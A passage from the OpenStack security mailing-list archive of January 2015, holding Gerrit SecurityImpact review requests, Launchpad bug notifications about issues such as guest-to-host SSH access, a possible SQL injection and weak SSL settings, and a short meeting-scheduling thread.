7d5d8657fd70b20518610b3c6f8e41e16c72fa31 Author: Zhi Yan Liu Date: Tue Dec 30 22:25:50 2014 +0800 Cleanup chunks for deleted image that was 'saving' Currently image data cannot be removed synchronously for an image that is in saving state. And when, the upload operation for such an image is completed the operator configured quota can be exceeded. This patch fixes the issue of left over chunks for an image which was deleted from saving status. However, by the limitation of the design we cannot enforce a global quota check for the image in saving status. This change introduces a inconsonance between http response codes of v1 and v2 APIs. The status codes which we will now see after the upload process completes on an image which was deleted mid way are: v1: 412 Precondition Failed v2: 410 Gone SecurityImpact UpgradeImpact APIImpact Closes-Bug: 1383973 Closes-Bug: 1398830 Closes-Bug: 1188532 Conflicts: glance/api/v1/upload_utils.py glance/api/v2/image_data.py glance/tests/unit/test_domain_proxy.py glance/tests/unit/v1/test_api.py Change-Id: I47229b366c25367ec1bd48aec684e0880f3dfe60 Signed-off-by: Zhi Yan Liu (cherry picked from commit 0dc8fbb3479a53c5bba8475d14f4c7206904c5ea) From gerrit2 at review.openstack.org Thu Jan 22 21:22:35 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Thu, 22 Jan 2015 21:22:35 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I835eefaeedd8486f4b2d300087186f30e6a1fa61 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/149397 Log: commit d52879afef45181c830caa28aadffa804a567adc Author: Zhi Yan Liu Date: Tue Dec 30 22:25:50 2014 +0800 Cleanup chunks for deleted image that was 'saving' Currently image data cannot be removed synchronously for an image that is in saving state. And when, the upload operation for such an image is completed the operator configured quota can be exceeded. This patch fixes the issue of left over chunks for an image which was deleted from saving status. However, by the limitation of the design we cannot enforce a global quota check for the image in saving status. This change introduces a inconsonance between http response codes of v1 and v2 APIs. The status codes which we will now see after the upload process completes on an image which was deleted mid way are: v1: 412 Precondition Failed v2: 410 Gone SecurityImpact UpgradeImpact APIImpact Closes-Bug: 1383973 Closes-Bug: 1398830 Closes-Bug: 1188532 Conflicts: glance/api/v1/upload_utils.py glance/api/v2/image_data.py glance/tests/unit/test_domain_proxy.py glance/tests/unit/v1/test_api.py Signed-off-by: Zhi Yan Liu (cherry picked from commit 0dc8fbb3479a53c5bba8475d14f4c7206904c5ea) Change-Id: I835eefaeedd8486f4b2d300087186f30e6a1fa61 From gerrit2 at review.openstack.org Thu Jan 22 21:26:15 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Thu, 22 Jan 2015 21:26:15 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I835eefaeedd8486f4b2d300087186f30e6a1fa61 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/149397 Log: commit 9f5d859ec41a79f2ac99110038d00bcacfa45882 Author: Zhi Yan Liu Date: Tue Dec 30 22:25:50 2014 +0800 Cleanup chunks for deleted image that was 'saving' Currently image data cannot be removed synchronously for an image that is in saving state. And when, the upload operation for such an image is completed the operator configured quota can be exceeded. This patch fixes the issue of left over chunks for an image which was deleted from saving status. However, by the limitation of the design we cannot enforce a global quota check for the image in saving status. This change introduces a inconsonance between http response codes of v1 and v2 APIs. The status codes which we will now see after the upload process completes on an image which was deleted mid way are: v1: 412 Precondition Failed v2: 410 Gone SecurityImpact UpgradeImpact APIImpact Closes-Bug: 1383973 Closes-Bug: 1398830 Closes-Bug: 1188532 Conflicts: glance/api/v1/upload_utils.py glance/api/v2/image_data.py glance/quota/__init__.py glance/tests/unit/test_domain_proxy.py glance/tests/unit/test_quota.py glance/tests/unit/v1/test_api.py Signed-off-by: Zhi Yan Liu (cherry picked from commit 0dc8fbb3479a53c5bba8475d14f4c7206904c5ea) Change-Id: I835eefaeedd8486f4b2d300087186f30e6a1fa61 From gerrit2 at review.openstack.org Thu Jan 22 22:22:36 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Thu, 22 Jan 2015 22:22:36 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I835eefaeedd8486f4b2d300087186f30e6a1fa61 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/149397 Log: commit a83b0d3fc723cf5cc004f0c44a1bd41218d5438c Author: Zhi Yan Liu Date: Tue Dec 30 22:25:50 2014 +0800 Cleanup chunks for deleted image that was 'saving' Currently image data cannot be removed synchronously for an image that is in saving state. And when, the upload operation for such an image is completed the operator configured quota can be exceeded. This patch fixes the issue of left over chunks for an image which was deleted from saving status. However, by the limitation of the design we cannot enforce a global quota check for the image in saving status. This change introduces a inconsonance between http response codes of v1 and v2 APIs. The status codes which we will now see after the upload process completes on an image which was deleted mid way are: v1: 412 Precondition Failed v2: 410 Gone SecurityImpact UpgradeImpact APIImpact Closes-Bug: 1383973 Closes-Bug: 1398830 Closes-Bug: 1188532 Conflicts: glance/api/v1/upload_utils.py glance/api/v2/image_data.py glance/quota/__init__.py glance/tests/unit/test_domain_proxy.py glance/tests/unit/test_quota.py glance/tests/unit/v1/test_api.py Signed-off-by: Zhi Yan Liu (cherry picked from commit 0dc8fbb3479a53c5bba8475d14f4c7206904c5ea) Change-Id: I835eefaeedd8486f4b2d300087186f30e6a1fa61 From gerrit2 at review.openstack.org Fri Jan 23 03:56:36 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Fri, 23 Jan 2015 03:56:36 +0000 Subject: [Openstack-security] [openstack/glance-specs] SecurityImpact review request change I364b23784f001dd1da0c1e148c34789fffd873aa Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/149467 Log: commit 5a806e19e67b2cc6e5c614fd37dab18eb5a0ab8e Author: Ian Cordasco Date: Thu Jan 22 21:10:51 2015 -0600 Add HTTPS verification to glance-replicator blueprint migrate-replicator-to-requests SecurityImpact Change-Id: I364b23784f001dd1da0c1e148c34789fffd873aa From robert.clark at hp.com Fri Jan 23 10:43:28 2015 From: robert.clark at hp.com (Clark, Robert Graham) Date: Fri, 23 Jan 2015 10:43:28 +0000 Subject: [Openstack-security] Looking to setup a meeting for discussion of data processing chapter In-Reply-To: <54C1354E.5040406@redhat.com> References: <54C1354E.5040406@redhat.com> Message-ID: I would be interested in helping out. I¹m in GMT timezone. -Rob On 22/01/2015 17:37, "michael mccune" wrote: >hey folks, > >i'm looking to setup a time for a google hangout to talk about some >issues with the creation of the data processing chapter for the security >guide. > >one of the areas that is becoming problematic with regards to the >documentation is the boundaries that we will draw for advice. the data >processing service deploys several technologies(e.g. Hadoop) which have >quite deep security related configurations. there is concern that we >will not be able to cover these as well as the upstream communities. > >also, i have a few questions in terms of the scope of our effort in >general. > >i have an etherpad[1] up with the ideas that i've been compiling for the >chapter content. i welcome comments to be added inline, this is very >much work in progress. > >thanks, >mike > >[1]: https://etherpad.openstack.org/p/sahara-security-guide-notes > >_______________________________________________ >Openstack-security mailing list >Openstack-security at lists.openstack.org >http://lists.openstack.org/cgi-bin/mailman/listinfo/openstack-security From gerrit2 at review.openstack.org Fri Jan 23 14:46:50 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Fri, 23 Jan 2015 14:46:50 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I47229b366c25367ec1bd48aec684e0880f3dfe60 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/149646 Log: commit f1260cc771ee068651aa62b972bef49d9af81eb0 Author: Zhi Yan Liu Date: Tue Dec 30 22:25:50 2014 +0800 Cleanup chunks for deleted image that was 'saving' Currently image data cannot be removed synchronously for an image that is in saving state. And when, the upload operation for such an image is completed the operator configured quota can be exceeded. This patch fixes the issue of left over chunks for an image which was deleted from saving status. However, by the limitation of the design we cannot enforce a global quota check for the image in saving status. This change introduces a inconsonance between http response codes of v1 and v2 APIs. The status codes which we will now see after the upload process completes on an image which was deleted mid way are: v1: 412 Precondition Failed v2: 410 Gone SecurityImpact UpgradeImpact APIImpact Closes-Bug: 1383973 Closes-Bug: 1398830 Closes-Bug: 1188532 Conflicts: glance/api/v1/upload_utils.py glance/api/v2/image_data.py glance/quota/__init__.py glance/tests/unit/test_domain_proxy.py glance/tests/unit/test_quota.py glance/tests/unit/v1/test_api.py Signed-off-by: Zhi Yan Liu (cherry picked from commit 0dc8fbb3479a53c5bba8475d14f4c7206904c5ea) Change-Id: I47229b366c25367ec1bd48aec684e0880f3dfe60 From 1316271 at bugs.launchpad.net Fri Jan 23 15:27:05 2015 From: 1316271 at bugs.launchpad.net (OpenStack Infra) Date: Fri, 23 Jan 2015 15:27:05 -0000 Subject: [Openstack-security] [Bug 1316271] Change abandoned on nova (master) References: <20140505190222.27207.36590.malonedeb@gac.canonical.com> Message-ID: <20150123152705.29507.96644.malone@wampee.canonical.com> Change abandoned by Sean Dague (sean at dague.net) on branch: master Review: https://review.openstack.org/118476 Reason: This review is > 4 weeks without comment, and failed Jenkins the last time it was checked. We are abandoning this for now. Feel free to reactivate the review by pressing the restore button and leaving a 'recheck' comment to get fresh test results. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1316271 Title: Network Security: VM hosts can SSH to compute node Status in OpenStack Compute (Nova): In Progress Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Security Notes: Fix Released Bug description: Hi guys, We're still using nova-network and we'll be using it for a while and we noticed that the VM guests can contact the compute nodes on all ports ... The one we're the most preoccupied with is SSH. We've written the following patch in order to isolate the VM guests from the VM hosts. --- linux_net.py.orig 2014-05-05 17:25:10.171746968 +0000 +++ linux_net.py 2014-05-05 18:42:54.569209220 +0000 @@ -805,6 +805,24 @@ @utils.synchronized('lock_gateway', external=True) +def isolate_compute_from_guest(network_ref): + if not network_ref: + return + + iptables_manager.ipv4['filter'].add_rule('INPUT', + '-p tcp -d %s --dport 8775 ' + '-j ACCEPT' % network_ref['dhcp_server']) + iptables_manager.ipv4['filter'].add_rule('FORWARD', + '-p tcp -d %s --dport 8775 ' + '-j ACCEPT' % network_ref['dhcp_server']) + iptables_manager.ipv4['filter'].add_rule('INPUT', + '-d %s ' + '-j DROP' % network_ref['dhcp_server']) + iptables_manager.ipv4['filter'].add_rule('FORWARD', + '-d %s ' + '-j DROP' % network_ref['dhcp_server']) + iptables_manager.apply() + def initialize_gateway_device(dev, network_ref): if not network_ref: return @@ -1046,6 +1064,7 @@ try: _execute('kill', '-HUP', pid, run_as_root=True) _add_dnsmasq_accept_rules(dev) + isolate_compute_from_guest(network_ref) return except Exception as exc: # pylint: disable=W0703 LOG.error(_('Hupping dnsmasq threw %s'), exc) @@ -1098,6 +1117,7 @@ _add_dnsmasq_accept_rules(dev) + isolate_compute_from_guest(network_ref) @utils.synchronized('radvd_start') def update_ra(context, dev, network_ref): To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1316271/+subscriptions From 1316271 at bugs.launchpad.net Fri Jan 23 15:29:39 2015 From: 1316271 at bugs.launchpad.net (OpenStack Infra) Date: Fri, 23 Jan 2015 15:29:39 -0000 Subject: [Openstack-security] [Bug 1316271] Change abandoned on nova (master) References: <20140505190222.27207.36590.malonedeb@gac.canonical.com> Message-ID: <20150123152939.12865.94130.malone@soybean.canonical.com> Change abandoned by Sean Dague (sean at dague.net) on branch: master Review: https://review.openstack.org/119589 Reason: This review is > 4 weeks without comment, and failed Jenkins the last time it was checked. We are abandoning this for now. Feel free to reactivate the review by pressing the restore button and leaving a 'recheck' comment to get fresh test results. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1316271 Title: Network Security: VM hosts can SSH to compute node Status in OpenStack Compute (Nova): In Progress Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Security Notes: Fix Released Bug description: Hi guys, We're still using nova-network and we'll be using it for a while and we noticed that the VM guests can contact the compute nodes on all ports ... The one we're the most preoccupied with is SSH. We've written the following patch in order to isolate the VM guests from the VM hosts. --- linux_net.py.orig 2014-05-05 17:25:10.171746968 +0000 +++ linux_net.py 2014-05-05 18:42:54.569209220 +0000 @@ -805,6 +805,24 @@ @utils.synchronized('lock_gateway', external=True) +def isolate_compute_from_guest(network_ref): + if not network_ref: + return + + iptables_manager.ipv4['filter'].add_rule('INPUT', + '-p tcp -d %s --dport 8775 ' + '-j ACCEPT' % network_ref['dhcp_server']) + iptables_manager.ipv4['filter'].add_rule('FORWARD', + '-p tcp -d %s --dport 8775 ' + '-j ACCEPT' % network_ref['dhcp_server']) + iptables_manager.ipv4['filter'].add_rule('INPUT', + '-d %s ' + '-j DROP' % network_ref['dhcp_server']) + iptables_manager.ipv4['filter'].add_rule('FORWARD', + '-d %s ' + '-j DROP' % network_ref['dhcp_server']) + iptables_manager.apply() + def initialize_gateway_device(dev, network_ref): if not network_ref: return @@ -1046,6 +1064,7 @@ try: _execute('kill', '-HUP', pid, run_as_root=True) _add_dnsmasq_accept_rules(dev) + isolate_compute_from_guest(network_ref) return except Exception as exc: # pylint: disable=W0703 LOG.error(_('Hupping dnsmasq threw %s'), exc) @@ -1098,6 +1117,7 @@ _add_dnsmasq_accept_rules(dev) + isolate_compute_from_guest(network_ref) @utils.synchronized('radvd_start') def update_ra(context, dev, network_ref): To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1316271/+subscriptions From 1370295 at bugs.launchpad.net Fri Jan 23 15:30:32 2015 From: 1370295 at bugs.launchpad.net (OpenStack Infra) Date: Fri, 23 Jan 2015 15:30:32 -0000 Subject: [Openstack-security] [Bug 1370295] Change abandoned on nova (master) References: <20140917005121.25418.63480.malonedeb@soybean.canonical.com> Message-ID: <20150123153032.519.47083.malone@chaenomeles.canonical.com> Change abandoned by Sean Dague (sean at dague.net) on branch: master Review: https://review.openstack.org/131433 Reason: This review is > 4 weeks without comment, and failed Jenkins the last time it was checked. We are abandoning this for now. Feel free to reactivate the review by pressing the restore button and leaving a 'recheck' comment to get fresh test results. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1370295 Title: Possible SQL Injection vulnerability in hyperv volumeutils2 Status in OpenStack Compute (Nova): Opinion Status in OpenStack Security Advisories: Won't Fix Bug description: This line: https://github.com/openstack/nova/blob/master/nova/virt/hyperv/volumeutilsv2.py#L54 makes a raw SQL query using input from target_address and target_port. If an attacker is able to manipulate either of these parameters, they can exploit a SQL injection vulnerability. If neither of these parameters can be controlled by an attacker, it's probably OK to fix this in public. These should definitely at least be strengthened by using prepared statements, or even better, a secure SQL library such as sqlalchemy. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1370295/+subscriptions From msm at redhat.com Fri Jan 23 16:53:01 2015 From: msm at redhat.com (michael mccune) Date: Fri, 23 Jan 2015 11:53:01 -0500 Subject: [Openstack-security] Looking to setup a meeting for discussion of data processing chapter In-Reply-To: References: <54C1354E.5040406@redhat.com> Message-ID: <54C27C6D.8010809@redhat.com> On 01/23/2015 05:43 AM, Clark, Robert Graham wrote: > I would be interested in helping out. > > I¹m in GMT timezone. would any of these work out: sometime between UTC14:00-17:00 on tuesday Jan. 27 wednesday Jan. 28 friday Jan. 30 ? i figure we could schedule an hour but it most likely won't take that long. thanks! mike From steve.lewis at rackspace.com Fri Jan 23 22:53:09 2015 From: steve.lewis at rackspace.com (Steve Lewis) Date: Fri, 23 Jan 2015 22:53:09 -0000 Subject: [Openstack-security] [Bug 1404862] Re: Horizon SSL configuration vulnerable References: <20141222115556.21788.73486.malonedeb@gac.canonical.com> Message-ID: <20150123225311.790.10327.launchpad@chaenomeles.canonical.com> ** Changed in: openstack-ansible/icehouse Status: In Progress => Fix Committed ** Changed in: openstack-ansible/juno Status: In Progress => Fix Committed -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1404862 Title: Horizon SSL configuration vulnerable Status in Ansible playbooks for deploying OpenStack: Fix Committed Status in openstack-ansible icehouse series: Fix Committed Status in openstack-ansible juno series: Fix Committed Bug description: Currently the Apache configuration for Horizon is very simple and therefore vulnerable to various forms of SSL and TLS attack vectors. The Qualys SSL test on the default setup results in a C grading. In order to ensure that best practices are implemented and anyone using os-ansible-deployment has a secure by default setup, this needs to be addressed. To manage notifications about this bug go to: https://bugs.launchpad.net/openstack-ansible/+bug/1404862/+subscriptions From gerrit2 at review.openstack.org Fri Jan 23 23:20:42 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Fri, 23 Jan 2015 23:20:42 +0000 Subject: [Openstack-security] [openstack/glance-specs] SecurityImpact review request change If5047942f03915cc4b1e42a586cf403a4eceab58 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/149112 Log: commit 3d2a98fe490ba8f20ed0b45f1819b2cdb2a66162 Author: Ian Cordasco Date: Wed Jan 21 19:36:03 2015 -0600 Pass Targets to Glance's Policy Enforcer SecurityImpact Change-Id: If5047942f03915cc4b1e42a586cf403a4eceab58 From gerrit2 at review.openstack.org Sun Jan 25 15:43:45 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Sun, 25 Jan 2015 15:43:45 +0000 Subject: [Openstack-security] [openstack/keystone] SecurityImpact review request change I8cb3326952d6e379a457c19d7f8f5f9ee4b29eb0 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/142554 Log: commit fc6e9e8d2c07f35d995af20fa112f19b47c22bdb Author: Brant Knudson Date: Thu Dec 11 10:40:16 2014 -0600 Fix disabling entities when enabled is ignored When LDAP is configured so that the `enabled` attribute was ignored for an entity (user, group, role, project) and a client attempts to disable the entity, it remains enabled, so a user might think that the entity was disabled when it's not. With this change, attempting to disable an entity where `enabled` is ignored will return a 403 Forbidden error. Since entities are always enabled when the `enabled` attribute is ignored, there's no change to reject changes that attempt to enable the entity. Closes-Bug: #1241134 SecurityImpact This is for security hardening. (cherry picked from commit e62de2c91b5755149146a47e84e61d3642095998) Change-Id: I8cb3326952d6e379a457c19d7f8f5f9ee4b29eb0 From sreshetniak at mirantis.com Mon Jan 26 09:32:52 2015 From: sreshetniak at mirantis.com (Sergey Reshetnyak) Date: Mon, 26 Jan 2015 09:32:52 -0000 Subject: [Openstack-security] [Bug 1394988] Re: Hadoop with auto security group not working References: <20141121132920.28673.42565.malonedeb@wampee.canonical.com> Message-ID: <20150126093252.29049.28911.launchpad@gac.canonical.com> ** Also affects: sahara/juno Importance: Undecided Status: New ** Changed in: sahara/juno Importance: Undecided => High -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1394988 Title: Hadoop with auto security group not working Status in OpenStack Data Processing (Sahara, ex. Savanna): Fix Released Status in Sahara juno series: New Bug description: ENV: OpenStack with Neutron Steps to reproduce: 1. Create cluster with auto security groups and two or more nodemanagers. 2. Launch pig job with 1Gb input data Result: After ~1 hour job in KILLED state. Reproduced with the following plugins: Vanilla 2 HDP 2 CDH To manage notifications about this bug go to: https://bugs.launchpad.net/sahara/+bug/1394988/+subscriptions From gerrit2 at review.openstack.org Mon Jan 26 10:41:54 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Mon, 26 Jan 2015 10:41:54 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I9236cc85f4e9881ac1aa35d69bc6761a59c1b6c8 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/80178 Log: commit f64363fa94a4d30b5160863b153fc05a17ae7424 Author: Fei Long Wang Date: Thu Jan 22 14:22:09 2015 +1300 Make digest algorithm configurable It would be great to enhance Glance to use minimum of SHA2 to do digital signature for FIPS compliance. Since in FIPS(FEDERAL INFORMATION PROCESSING STANDARDS) says the SHA-1 is not suitable for general-purpose digital signature applications (as specified in FIPS 186-3) that require 112 bits of security. In the case of digital signatures, SHA-1 does not provide the 112 bits of collision resistance needed to achieve the security strength. Now we're using hardcode 'sha1'. So this patch will make it configurable firstly and set the default value as sha1 in Kilo for smooth upgrade, which will be changed with sha256 in next release(L). DocImpact UpgradeImapact SecurityImpact Closes-Bug: #1288545 Change-Id: I9236cc85f4e9881ac1aa35d69bc6761a59c1b6c8 From 1391504 at bugs.launchpad.net Mon Jan 26 15:12:19 2015 From: 1391504 at bugs.launchpad.net (OpenStack Infra) Date: Mon, 26 Jan 2015 15:12:19 -0000 Subject: [Openstack-security] [Bug 1391504] Change abandoned on neutron (master) References: <20141111130915.17341.22090.malonedeb@chaenomeles.canonical.com> Message-ID: <20150126151219.1041.24271.malone@chaenomeles.canonical.com> Change abandoned by Kyle Mestery (mestery at mestery.com) on branch: master Review: https://review.openstack.org/123440 Reason: This review is > 4 weeks without comment, and failed Jenkins the last time it was checked. We are abandoning this for now. Feel free to reactivate the review by pressing the restore button and leaving a 'recheck' comment to get fresh test results. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1391504 Title: Sample policies for Openstack Status in Cinder: In Progress Status in OpenStack Image Registry and Delivery Service (Glance): In Progress Status in OpenStack Identity (Keystone): In Progress Status in OpenStack Neutron (virtual network service): In Progress Status in OpenStack Compute (Nova): In Progress Bug description: Regarding OpenStack policies, in general, the described roles seem quite complicated, it is not clear which roles are appropriated for each user. For example, in many policies it is defined just a global admin role. We would like to clarify what are the role organizations, for example, cloud_admin is the role for the cloud managers, domain_admin is the role for the domain managers, project_admin for the project admin and project_member a member with a role in a project but with no admin permissions. In this way, it is clear for the cloud manager which capability is being given to a user. The idea is create a policy.cloudsample.json, where roles as cloud_admin project_admin, and project_member will be defined and some default permissions, making policies closer to the business reality. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1391504/+subscriptions From gerrit2 at review.openstack.org Mon Jan 26 20:04:49 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Mon, 26 Jan 2015 20:04:49 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I9236cc85f4e9881ac1aa35d69bc6761a59c1b6c8 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/80178 Log: commit 82194e0c422966422f7a4e2157125c7ad8fbc5b5 Author: Fei Long Wang Date: Thu Jan 22 14:22:09 2015 +1300 Make digest algorithm configurable It would be great to enhance Glance to use minimum of SHA2 to do digital signature for FIPS compliance. Since in FIPS(FEDERAL INFORMATION PROCESSING STANDARDS) says the SHA-1 is not suitable for general-purpose digital signature applications (as specified in FIPS 186-3) that require 112 bits of security. In the case of digital signatures, SHA-1 does not provide the 112 bits of collision resistance needed to achieve the security strength. Now we're using hardcode 'sha1'. So this patch will make it configurable firstly and set the default value as sha1 in Kilo for smooth upgrade, which will be changed with sha256 in next release(L). DocImpact UpgradeImapact SecurityImpact Closes-Bug: #1288545 Change-Id: I9236cc85f4e9881ac1aa35d69bc6761a59c1b6c8 From thingee at gmail.com Mon Jan 26 20:30:33 2015 From: thingee at gmail.com (Mike Perez) Date: Mon, 26 Jan 2015 20:30:33 -0000 Subject: [Openstack-security] [Bug 1391504] Re: Sample policies for Openstack References: <20141111130915.17341.22090.malonedeb@chaenomeles.canonical.com> Message-ID: <20150126203037.28934.54664.launchpad@gac.canonical.com> ** Changed in: cinder Assignee: Andre Aranha (afaranha) => (unassigned) ** Changed in: cinder Status: In Progress => Triaged -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1391504 Title: Sample policies for Openstack Status in Cinder: Triaged Status in OpenStack Image Registry and Delivery Service (Glance): In Progress Status in OpenStack Identity (Keystone): In Progress Status in OpenStack Neutron (virtual network service): In Progress Status in OpenStack Compute (Nova): In Progress Bug description: Regarding OpenStack policies, in general, the described roles seem quite complicated, it is not clear which roles are appropriated for each user. For example, in many policies it is defined just a global admin role. We would like to clarify what are the role organizations, for example, cloud_admin is the role for the cloud managers, domain_admin is the role for the domain managers, project_admin for the project admin and project_member a member with a role in a project but with no admin permissions. In this way, it is clear for the cloud manager which capability is being given to a user. The idea is create a policy.cloudsample.json, where roles as cloud_admin project_admin, and project_member will be defined and some default permissions, making policies closer to the business reality. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1391504/+subscriptions From 1187107 at bugs.launchpad.net Tue Jan 27 06:35:22 2015 From: 1187107 at bugs.launchpad.net (OpenStack Infra) Date: Tue, 27 Jan 2015 06:35:22 -0000 Subject: [Openstack-security] [Bug 1187107] Fix merged to neutron (master) References: <20130603194234.27198.32504.malonedeb@gac.canonical.com> Message-ID: <20150127063522.29507.57763.malone@wampee.canonical.com> Reviewed: https://review.openstack.org/147436 Committed: https://git.openstack.org/cgit/openstack/neutron/commit/?id=e171271f127cb48a89df78ec98ba732caf2da980 Submitter: Jenkins Branch: master commit e171271f127cb48a89df78ec98ba732caf2da980 Author: Cedric Brandily Date: Wed Jan 7 22:21:10 2015 +0000 Move shared metadata driver related config options This change moves metadata driver related config options to metadata driver module to prepare the use of metadata driver method in the dhcp agent (daughter change). The metadata_port option is not moved as the dhcp agent uses a non-configurable port (80). Change-Id: Ie45fdad86f33d35fca3096c4c52fae941a279e76 Partial-Bug: #1187107 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1187107 Title: quantum-ns-metadata-proxy runs as root Status in OpenStack Neutron (virtual network service): In Progress Bug description: # ps -ef | grep quantum-ns-metadata-proxy root 10239 1 0 19:01 ? 00:00:00 python /usr/bin/quantum-ns-metadata-proxy --pid_file=/var/lib/quantum/external/pids/7a44de32-3ac0-4f3e-92cc-1a37d8211db8.pid --router_id=7a44de32-3ac0-4f3e-92cc-1a37d8211db8 --state_path=/var/lib/quantum --debug --log-file=quantum-ns-metadata-proxy7a44de32-3ac0-4f3e-92cc-1a37d8211db8.log --log-dir=/var/log/quantum Root is needed to open the namespace, but the quantum-ns-metadata-proxy does not need root - it listens on 9697 by default not 80. I tried changing /etc/quantum/rootwrap.d/l3.filters for it to run as quantum instead: metadata_proxy: CommandFilter, /usr/bin/quantum-ns-metadata-proxy, quantum but it still runs as root. To manage notifications about this bug go to: https://bugs.launchpad.net/neutron/+bug/1187107/+subscriptions From rattenpal.amandeep at tcs.com Mon Jan 5 12:16:09 2015 From: rattenpal.amandeep at tcs.com (Amandeep) Date: Mon, 05 Jan 2015 12:16:09 -0000 Subject: [Openstack-security] [Bug 1031139] Re: quota-show should return error for invalid tenant id References: <20120730234300.27634.40825.malonedeb@gac.canonical.com> Message-ID: <20150105120631.21922.98491.launchpad@gac.canonical.com> ** Changed in: python-novaclient Assignee: (unassigned) => Amandeep (rattenpal-amandeep) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1031139 Title: quota-show should return error for invalid tenant id Status in Python client library for Nova: Confirmed Bug description: quota-show does not handle alternatives for tenant_id as expected ENV: Devstack trunk (Folsom) / nova d56b5fc3ad6dbfc56e0729174925fb146cef87fa , Mon Jul 30 21:59:56 2012 +0000 I'd expect the following command to work as $ env | grep TENANT -> OS_TENANT_NAME=demo $ nova --debug --os_username=admin --os_password=password quota-show usage: nova quota-show error: too few arguments I'd also expect the following to work: $ nova --debug --os_username=admin --os_password=password quota-show --os_tenant_name=demo usage: nova quota-show error: too few arguments What is more awesome, if in the event that I do provide the wrong tenant_id, it proceeds to use OS_TENANT_NAME returning those results: $nova --debug --os_username=admin --os_password=password quota-show gggggggggggggggggggggggggggggggggg REQ: curl -i http://10.1.11.219:8774/v2/04adebe40d214581b84118bcce264f0e/os-quota- sets/ggggggggggggggggggggggggggggggggggg -X GET -H "X-Auth-Project-Id: demo" -H "User-Agent: python-novaclient" -H "Accept: application/json" -H "X-Auth-Token: 10bd3f948df24039b2b88b98771b2b99" +-----------------------------+-------+ | Property | Value | +-----------------------------+-------+ | cores | 20 | | floating_ips | 10 | | gigabytes | 1000 | | injected_file_content_bytes | 10240 | | injected_files | 5 | | instances | 10 | | metadata_items | 128 | | ram | 51200 | | volumes | 10 | +-----------------------------+-------+ I also couldn't figure out how to get the quota-show to work as a member (non-admin) of a project. Let me know if you want any of these issues broken out in to additional bugs. To manage notifications about this bug go to: https://bugs.launchpad.net/python-novaclient/+bug/1031139/+subscriptions From icordasc+launchpad at coglib.com Mon Jan 5 19:35:41 2015 From: icordasc+launchpad at coglib.com (Ian Cordasco) Date: Mon, 05 Jan 2015 19:35:41 -0000 Subject: [Openstack-security] [Bug 1375857] Re: It's not possibile to pass the cacert to the swift store References: <20140930152151.17678.6371.malonedeb@chaenomeles.canonical.com> Message-ID: <20150105192558.24908.91149.launchpad@wampee.canonical.com> ** Also affects: glance Importance: Undecided Status: New ** Changed in: glance Status: New => Triaged ** Changed in: glance Importance: Undecided => Wishlist ** Changed in: glance Assignee: (unassigned) => Ian Cordasco (icordasc) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1375857 Title: It's not possibile to pass the cacert to the swift store Status in OpenStack Image Registry and Delivery Service (Glance): Triaged Status in OpenStack Glance backend store-drivers library (glance_store): In Progress Bug description: The swift store device defined in the glance store doesn't allow to pass the ca cert file. When the driver creates a connection via the swift client it is not possible to pass that value. That means that if we have swift running on TLS in some cases we have to set the insecure option equals to True as the client can't correctly complete the handshake as it fails on the verification of the cert. The fix I'd like to propose is to add a new parameter to define the ca cert file and pass this value when we create the connection via the swift client. To manage notifications about this bug go to: https://bugs.launchpad.net/glance/+bug/1375857/+subscriptions From icordasc+launchpad at coglib.com Tue Jan 6 00:05:55 2015 From: icordasc+launchpad at coglib.com (Ian Cordasco) Date: 